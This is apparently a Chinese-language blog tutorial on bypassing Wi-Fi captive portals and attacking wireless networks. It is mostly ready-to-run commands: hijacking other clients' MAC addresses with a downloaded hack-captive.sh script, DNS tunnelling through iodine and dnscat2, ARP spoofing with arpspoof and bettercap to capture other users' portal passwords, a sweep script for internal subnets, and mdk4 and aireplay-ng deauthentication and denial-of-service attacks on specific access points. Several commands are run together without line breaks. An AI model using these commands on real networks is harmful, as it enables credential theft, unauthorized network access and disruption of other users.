MAC spoofing

我们可以使用脚本hack-captive.sh:

sudo apt -y install sipcalc nmapwget https://raw.githubusercontent.com/systematicat/hack-captive-portals/master/hack-captive.shsudo chmod u+x hack-captive.sh

需要注意的是，这个脚本里面使用的验证网络可访问的IP是8.8.8.8，在国内一些网络环境可能默认就无法访问，所以我们需要修改为国内的一些IP，比如114.114.114.114。

在没有认证之前，我们访问互联网会重定向到captive portal：

使用修改过的脚本扫描所有存活的主机IP和MAC地址（APR广播）：

$ sudo ./hack-captive.sh
Looking for active hosts in 192.168.140.0/24. Please wait.Trying to hijack 192.168.140.10 - 08:45:d1:17:82:2bSuitable hosts not found. Checking another network chunk.Looking for active hosts in 192.168.141.0/24. Please wait.Trying to hijack 192.168.141.31 - a4:23:32:03:26:e5Trying to hijack 192.168.141.38 - a4:23:31:03:c3:39Trying to hijack 192.168.141.46 - b2:f2:22:5f:ff:1d......Trying to hijack 192.168.141.120 - a4:29:33:14:e9:49Trying to hijack 192.168.141.123 - ae:6e:5b:12:f4:c4Trying to hijack 192.168.141.251 - a4:29:23:04:52:68

sudo ifconfig wlan0  downsudo macchanger --mac  AB:5C:FC:77:AE:7D  wlan0
sudo ifconfig wlan0 up

如果无法识别到主机或者突然无法连接到AP，可能是因为ARP扫描触发了检测规则，可以尝试修改下测试电脑的MAC地址。

sudo ifconfig wlan0 downsudo ifconfig wlan0 hw ether 38:33:15:xx:xx:xxsudo ifconfig wlan0 up
# 或者使用macchangersudo macchanger wlan0 -e # orsudo macchanger wlan0 -r

此外，也可以尝试使用airodump-ng查看连接到对应AP的客户端MAC地址：

sudo airodump-ng --bssid EC:01:D5:A2:10:00 wlan0mon

DNS隧道/UDP 协议VPN

首先测试在认证前，是否允许DNS协议：

dig @1.1.1.1 www.baidu.com +short

创建完成后，等记录更新，然后测试是否可以解析：

git clone https://github.com/yarrick/iodine.gitcd iodine/make

在Server（VPS上）端运行如下命令进行监听：

sudo ./iodined -f -c -P cxh@CNSOC 192.168.5.1/24 wifipte.example.com

我们可以在如下网站测试Server端是否设置成功：

https://code.kryo.se/iodine/check-it/

如果没问题，在客户端（测试主机）运行：

在显示Connection setup complete, transmitting data后，说明隧道建立完成，我们可以进行测试：

接下来，我们在测试主机使用SSH的动态端口转发功能，创建一个socks代理，下面192.168.5.1为VPS上创建的虚拟IP的地址：

ssh -N -D 0.0.0.0:1080 ubuntu@192.168.5.1 

如果iodine失败，会显示如下信息，我们可以继续尝试使用dnscat2，因为iodine流量没有加密，dnscat2默认加密：

git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/gem install bundlerbundle install

然后Server端运行如下命令进行监听：

ruby ./dnscat2.rb -p 1.1.1.1 -secret=cxh@123456 wifipte.example.com

客户端进行测试：

dnscat --dns domain=wifipte.example.com --secret=cxh@123456

最后，我们也可以尝试通过使用UDP协议的VPN来绕过captive portal，这里我们在VPS上配置一个openvpn服务，监听在UDP 53端口，然后看openvpn客户端能否成功连接。

关于openvpn 服务的配置这里就不介绍了，如果成功，会显示如下信息：

如果是失败，则显示如下信息：

ARP欺骗窃取凭据

如果captive portal认证时使用的是HTTP协议，我们也可以通过ARP欺骗的方式，窃取合法用户的认证信息。但如果captive portal地址和要认证的客户端在同一个VLAN，则ARP欺骗可能无法成功。

首先，我们先查看当前网段存活的主机：

sudo netdiscover -i wlan0

然后，我们开启Linux 内核的转发模式：

sudo sysctl -w net.ipv4.ip_forward=1# 或者sudo suecho 1 > /proc/sys/net/ipv4/ip_forward

这里我们以192.168.5.150为目标，使用aprspoof进行ARP欺骗：

sudo arpspoof -i wlan0 -t 192.168.5.150 192.168.5.1sudo arpspoof -i wlan0 -t 192.168.5.1 192.168.5.150sudo urlsnarf 

我们可以使用urlsnarf查看通过wlan0网卡访问的URL：

使用Wireshark抓包，能看到认证密码：

set arp.spoof.fullduplex true           set arp.spoof.targets 192.168.5.150     arp.spoof on  

当然，ARP欺骗成功的前提是客户端认证过程使用HTTP协议，虽然网上有文章说在使用HTTPS协议的情况下，可以使用sslstrip,但是测试过程发现没有成功，大家可以自己研究测试下。

• hxxps[:]//infosecwriteups.com/how-to-steal-social-media-accounts-using-a-captive-portal-8f87123f8fba

• hxxps[:]//madura-rajapakshe50.medium.com/wi-fi-hacking-using-evil-twin-attacks-and-captive-portals-part-1-af041aa72fec

首先我们可以扫描当前网关所在的C段，看有没有收获：

route -nip route shownmap -sn 172.20.10.1

#!/bin/bash
echo Start at $(date +'%F %T')echo > gateway.txt
for i in $(seq 0 255); do    for j in $(seq 1 254); do        fping  -b 1 -r 1 -a 192.168.$i.$j >> gateway.txt    donedone
for i in $(seq 0 255); do    for j in $(seq 16 31); do        for q in $(seq 1 254);do            fping  -b 1 -r 1 -a 172.$j.$i.$q >> gateway.txt        done    donedone
for i in $(seq 0 255); do    for j in $(seq 0 255); do        for q in $(seq 1 254);do            fping  -b 1 -r 1 -a 10.$j.$i.$q >> gateway.txt       done    donedone
echo Finished at $(date +'%F %T')

上面脚本执行时间可能会比较长，我们也可以修改下脚本，先扫描每个网段默认的网关，比如192.168.1.1和192.168.1.254,在扫描到存活的网关后，再扫描整个C段，但可能会漏掉禁ping的一些网段。

在获得所有存活的主机后，我们可以扫描开放的端口和服务，常见的工具有nmap，fscan等。

sudo airmon-ng checksudo airmon-ng check killsudo airmon-ng start wlan0

sudo airodump-ng  wlan0mon

ATTACK MODE a: Authentication Denial-Of-Service

下面对BSSID为98:0D:51:16:C0:C8的AP进行测试：

sudo mdk4 wlan0mon a -i 98:0D:51:16:C0:C8 -s 100000

ATTACK MODE d: Deauthentication and Disassociation

sudo mdk4 wlan0mon d  -B A4:A9:30:57:46:8D -s 10000

mdk4的d模式不能指定客户端MAC地址，测试过程发现效果也不太行。大家测试过程如果发现使用mdk4的攻击模式d无效，可以尝试使用aireplay的--deauth选项，而且可以指定客户端：

sudo aireplay-ng -0 0 -a A4:A9:30:57:46:8D   wlan0mon

ATTACK MODE m: Michael Countermeasures Exploitation

sudo mdk4 wlan0mon m -t 9C:28:EF:62:E7:4C  -s 1000 -w 1